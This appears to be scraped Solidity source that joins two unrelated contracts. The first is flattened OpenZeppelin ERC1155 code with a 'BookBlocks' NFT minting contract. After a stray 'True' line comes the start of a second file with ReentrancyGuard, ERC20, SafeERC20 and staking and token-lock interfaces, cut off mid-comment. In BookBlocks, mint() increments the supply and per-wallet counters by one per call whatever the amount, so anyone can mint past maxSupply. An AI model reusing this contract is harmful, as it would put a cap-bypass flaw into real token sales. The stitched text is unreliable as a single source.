Interface of the optional ERC1155MetadataExtension interface, as defined * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP]. * * _Available since v3.1._ */ interface IERC1155MetadataURI is IERC1155 { /** * @dev Returns the URI for token type `id`. * * If the `\{id\}` substring is present in the URI, it must be replaced by * clients with the actual token type ID. */ function uri(uint256 id) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC1155/ERC1155.sol // OpenZeppelin Contracts v4.4.0 (token/ERC1155/ERC1155.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the basic standard multi-token. * See https://eips.ethereum.org/EIPS/eip-1155 * Originally based on code by Enjin: https://github.com/enjin/erc-1155 * * _Available since v3.1._ */ contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI { using Address for address; // Mapping from token ID to account balances mapping(uint256 => mapping(address => uint256)) private _balances; // Mapping from account to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json string private _uri; /** * @dev See {_setURI}. */ constructor(string memory uri_) { _setURI(uri_); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC1155).interfaceId || interfaceId == type(IERC1155MetadataURI).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC1155MetadataURI-uri}. * * This implementation returns the same URI for *all* token types. It relies * on the token type ID substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * Clients calling this function must replace the `\{id\}` substring with the * actual token type ID. */ function uri(uint256) public view virtual override returns (string memory) { return _uri; } /** * @dev See {IERC1155-balanceOf}. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { require(account != address(0), "ERC1155: balance query for the zero address"); return _balances[id][account]; } /** * @dev See {IERC1155-balanceOfBatch}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] memory accounts, uint256[] memory ids) public view virtual override returns (uint256[] memory) { require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch"); uint256[] memory batchBalances = new uint256[](accounts.length); for (uint256 i = 0; i < accounts.length; ++i) { batchBalances[i] = balanceOf(accounts[i], ids[i]); } return batchBalances; } /** * @dev See {IERC1155-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC1155-isApprovedForAll}. */ function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { return _operatorApprovals[account][operator]; } /** * @dev See {IERC1155-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: caller is not owner nor approved" ); _safeTransferFrom(from, to, id, amount, data); } /** * @dev See {IERC1155-safeBatchTransferFrom}. */ function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: transfer caller is not owner nor approved" ); _safeBatchTransferFrom(from, to, ids, amounts, data); } /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; emit TransferSingle(operator, from, to, id, amount); _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, ids, amounts, data); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; } emit TransferBatch(operator, from, to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data); } /** * @dev Sets a new URI for all token types, by relying on the token type ID * substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * By this mechanism, any occurrence of the `\{id\}` substring in either the * URI or any of the amounts in the JSON file at said URI will be replaced by * clients with the token type ID. * * For example, the `https://token-cdn-domain/\{id\}.json` URI would be * interpreted by clients as * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json` * for token type ID 0x4cce0. * * See {uri}. * * Because these URIs cannot be meaningfully represented by the {URI} event, * this function emits no events. */ function _setURI(string memory newuri) internal virtual { _uri = newuri; } /** * @dev Creates `amount` tokens of token type `id`, and assigns them to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _mint( address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][to] += amount; emit TransferSingle(operator, address(0), to, id, amount); _doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _mintBatch( address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, ids, amounts, data); for (uint256 i = 0; i < ids.length; i++) { _balances[ids[i]][to] += amounts[i]; } emit TransferBatch(operator, address(0), to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data); } /** * @dev Destroys `amount` tokens of token type `id` from `from` * * Requirements: * * - `from` cannot be the zero address. * - `from` must have at least `amount` tokens of token type `id`. */ function _burn( address from, uint256 id, uint256 amount ) internal virtual { require(from != address(0), "ERC1155: burn from the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, address(0), _asSingletonArray(id), _asSingletonArray(amount), ""); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][from] = fromBalance - amount; } emit TransferSingle(operator, from, address(0), id, amount); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}. * * Requirements: * * - `ids` and `amounts` must have the same length. */ function _burnBatch( address from, uint256[] memory ids, uint256[] memory amounts ) internal virtual { require(from != address(0), "ERC1155: burn from the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, address(0), ids, amounts, ""); for (uint256 i = 0; i < ids.length; i++) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][from] = fromBalance - amount; } } emit TransferBatch(operator, from, address(0), ids, amounts); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC1155: setting approval status for self"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning, as well as batched variants. * * The same hook is called on both single and batched variants. For single * transfers, the length of the `id` and `amount` arrays will be 1. * * Calling conditions (for each `id` and `amount` pair): * * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens * of token type `id` will be transferred to `to`. * - When `from` is zero, `amount` tokens of token type `id` will be minted * for `to`. * - when `to` is zero, `amount` of ``from``'s tokens of token type `id` * will be burned. * - `from` and `to` are never both zero. * - `ids` and `amounts` have the same, non-zero length. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual {} function _doSafeTransferAcceptanceCheck( address operator, address from, address to, uint256 id, uint256 amount, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) { if (response != IERC1155Receiver.onERC1155Received.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _doSafeBatchTransferAcceptanceCheck( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns ( bytes4 response ) { if (response != IERC1155Receiver.onERC1155BatchReceived.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) { uint256[] memory array = new uint256[](1); array[0] = element; return array; } } // File: @openzeppelin/contracts/token/ERC1155/extensions/ERC1155Supply.sol // OpenZeppelin Contracts v4.4.0 (token/ERC1155/extensions/ERC1155Supply.sol) pragma solidity ^0.8.0; /** * @dev Extension of ERC1155 that adds tracking of total supply per id. * * Useful for scenarios where Fungible and Non-fungible tokens have to be * clearly identified. Note: While a totalSupply of 1 might mean the * corresponding is an NFT, there is no guarantees that no other token with the * same id are not going to be minted. */ abstract contract ERC1155Supply is ERC1155 { mapping(uint256 => uint256) private _totalSupply; /** * @dev Total amount of tokens in with a given id. */ function totalSupply(uint256 id) public view virtual returns (uint256) { return _totalSupply[id]; } /** * @dev Indicates whether any token exist with a given id, or not. */ function exists(uint256 id) public view virtual returns (bool) { return ERC1155Supply.totalSupply(id) > 0; } /** * @dev See {ERC1155-_beforeTokenTransfer}. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual override { super._beforeTokenTransfer(operator, from, to, ids, amounts, data); if (from == address(0)) { for (uint256 i = 0; i < ids.length; ++i) { _totalSupply[ids[i]] += amounts[i]; } } if (to == address(0)) { for (uint256 i = 0; i < ids.length; ++i) { _totalSupply[ids[i]] -= amounts[i]; } } } } // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: BookBlocks.sol pragma solidity ^0.8.7; contract BookBlocks is ERC1155, Ownable, ERC1155Supply { // Token ids uint256 public constant bookBlocks = 0; // Cost uint256 public cost = 0.5275 ether; // Max limit and supply uint256 public maxMintAmount = 100; uint256 public maxSupply = 200; // total minted uint256 minted = 0; // If contracted paused bool public paused = false; // Minted balance by address uint256 public nftPerAddressLimit = 100; mapping(address => uint256) public addressMintedBalance; // baseURI string public baseURI; string public baseExtension = ".json"; constructor(string memory _initBaseURI) ERC1155(_initBaseURI) { baseURI = _initBaseURI; mint(100); } function mint(uint256 _mintAmount) public payable { require(!paused, "The contract is paused"); require(_mintAmount > 0, "Need to mint at least 1 NFT"); require(_mintAmount <= maxMintAmount, "Max mint amount per session exceeded"); require(minted + _mintAmount <= maxSupply, "Max NFT limit exceeded"); uint256 mintedCount = addressMintedBalance[msg.sender]; require(mintedCount + _mintAmount <= nftPerAddressLimit, "Max limit per wallet reached"); if (msg.sender != owner()) { require(msg.value >= _mintAmount * cost, "Insufficient Balance"); } _mint(msg.sender, bookBlocks, _mintAmount, ""); minted++; addressMintedBalance[msg.sender]++; } function _beforeTokenTransfer(address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data) internal override(ERC1155, ERC1155Supply) { super._beforeTokenTransfer(operator, from, to, ids, amounts, data); } function totalSupplys() public view returns (uint256) { return minted; } function setURI(string memory newuri) public onlyOwner { baseURI = newuri; _setURI(newuri); } function setCost(uint256 _newCost) public onlyOwner { cost = _newCost; } function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner { maxMintAmount = _newmaxMintAmount; } function setnftPerAddressLimit(uint256 _nftPerAddressLimit) public onlyOwner { nftPerAddressLimit = _nftPerAddressLimit; } function pause() public onlyOwner { paused = true; } function unpause() public onlyOwner { paused = false; } function uri(uint256 _tokenId) override public view returns(string memory) { return string( abi.encodePacked(baseURI, Strings.toString(_tokenId), baseExtension) ); } function withdraw() public onlyOwner { require(address(this).balance > 0, "Balance is 0"); payable(owner()).transfer(address(this).balance); } }

True

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/** *Submitted for verification at Etherscan.io on 2022-03-29 */ pragma solidity ^0.8.4; //import "./ReentrancyGuard.sol"; // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (security/ReentrancyGuard.sol) //pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } //pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } //pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } //import "./SafeERC20.sol"; //pragma solidity ^0.8.0; //import "./IERC20.sol"; //import "./Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } //import "./ISTAKING.sol"; /** * @dev Public interface for the staking functions */ interface ISTAKING{ /** * @dev Stakes a certain amount of tokens, this will attempt to transfer the given amount from the caller. * It will count the actual number of tokens trasferred as being staked * MUST trigger Staked event. **/ function stake(uint256 amount) external returns (uint256); /** * @dev Stakes a certain amount of tokens on behalf of address `user`, * this will attempt to transfer the given amount from the caller. * caller must have approved this contract, previously. * It will count the actual number of tokens trasferred as being staked * MUST trigger Staked event. * Returns the number of tokens actually staked **/ function stakeFor(address voter, address staker, uint256 amount) external returns (uint256); /** * @dev Unstakes a certain amount of tokens, this SHOULD return the given amount of tokens to the caller, * MUST trigger Unstaked event. */ function unstake(uint256 amount) external; /** * @dev Unstakes a certain amount of tokens currently staked on behalf of address `user`, * this SHOULD return the given amount of tokens to the caller * caller is responsible for returning tokens to `user` if applicable. * MUST trigger Unstaked event. */ function unstakeFor(address voter, address staker, uint256 amount) external; /** * @dev Returns the current total of tokens staked for address addr. */ function totalStakedFor(address addr) external view returns (uint256); /** * @dev Returns the current tokens staked by address `delegate` for address `user`. */ function stakedFor(address user, address delegate) external view returns (uint256); /** * @dev Returns the number of current total tokens staked. */ function totalStaked() external view returns (uint256); /** * @dev address of the token being used by the staking interface */ function token() external view returns (address); /** Event * `voter` the address that will cast votes weighted by the number of tokens staked for `voter` * `staker` the address staking for `voter` - tokens are transferred from & returned to `staker` * `proxy` is the Staking Proxy contract that is approved by `staker` to perform the token transfer * `amount` is the value of tokens to be staked **/ event Staked(address indexed voter, address indexed staker, address proxy, uint256 amount); /** Event * `voter` the address that will cast votes weighted by the number of tokens staked for `voter` * `staker` the address staking for `voter` - tokens are transferred from & returned to `staker` * `proxy` is the Staking Proxy contract that is approved by `staker` to perform the token transfer * `amount` is the value of tokens to be staked **/ event Unstaked(address indexed voter, address indexed staker, address proxy, uint256 amount); } //import "./ISTAKINGPROXY.sol"; interface ISTAKINGPROXY{ /** * @dev a callback to perform the actual transfer of tokens to the actual staking contract * Precondition: the user doing the staking MUST approve this contract or we'll revert **/ function proxyTransfer(address from, uint256 amount) external; } //import "./ITOKENLOCK.sol"; /** * @dev Inteface for the token lock features in this contract */ interface ITOKENLOCK { /** * @dev Emitted when the token lock is initialized * `tokenHolder` is the address the lock pertains to * `amountLocked` is the amount of tokens locked * `time` is the (initial) time at which tokens were locked * `unlockPeriod` is the time interval at which tokens become unlockedPerPeriod * `unlockedPerPeriod` is the amount of token unlocked earch unlockPeriod */ event NewTokenLock(address tokenHolder, uint256 amountLocked, uint256 time, uint256 unlockPeriod, uint256 unlockedPerPeriod); /** * @dev Emitted when the token lock is updated to be more strict * `tokenHolder` is the address the lock pertains to * `amountLocked` is the amount of tokens locked * `time` is the (initial) time at which tokens were locked * `unlockPeriod` is the time interval at which tokens become unlockedPerPeriod * `unlockedPerPeriod` is the amount of token unlocked earch unlockPeriod */ event UpdateTokenLock(address tokenHolder, uint256 amountLocked, uint256 time, uint256 unlockPeriod, uint256 unlockedPerPeriod); /** * @dev Lock `baseTokensLocked_` held by the caller with `unlockedPerEpoch_` tokens unlocking each `unlockEpoch_` * * * Emits an {NewTokenLock} event indicating the updated terms of the token lockup. * * Requires msg.sender to: * * - Must not be a prevoius lock for this address. If so, it must be first cleared with a call to {clearLock}. * - Must have at least a balance of `baseTokensLocked_` to lock * - Must provide non-zero `unlockEpoch_` * - Must have at least `unlockedPerEpoch_` tokens to unlock * - `unlockedPerEpoch_` must be greater than zero */ function newTokenLock(uint256 baseTokensLocked_, uint256 unlockEpoch_, uint256 unlockedPerEpoch_) external; /** * @dev Reset the lock state * * Requirements: * * - msg.sender must not have any tokens locked, currently */ function clearLock() external; /** * @dev Returns the amount of tokens that are unlocked i.e. transferrable by `who` * */ function balanceUnlocked(address who) external view returns (uint256 amount); /** * @dev Returns the amount of tokens that are locked and not transferrable by `who` * */ function balanceLocked(address who) external view returns (uint256 amount); /** * @dev Reduce the amount of token unlocked each period by `subtractedValue` * * Emits an {UpdateTokenLock} event indicating the updated terms of the token lockup. * * 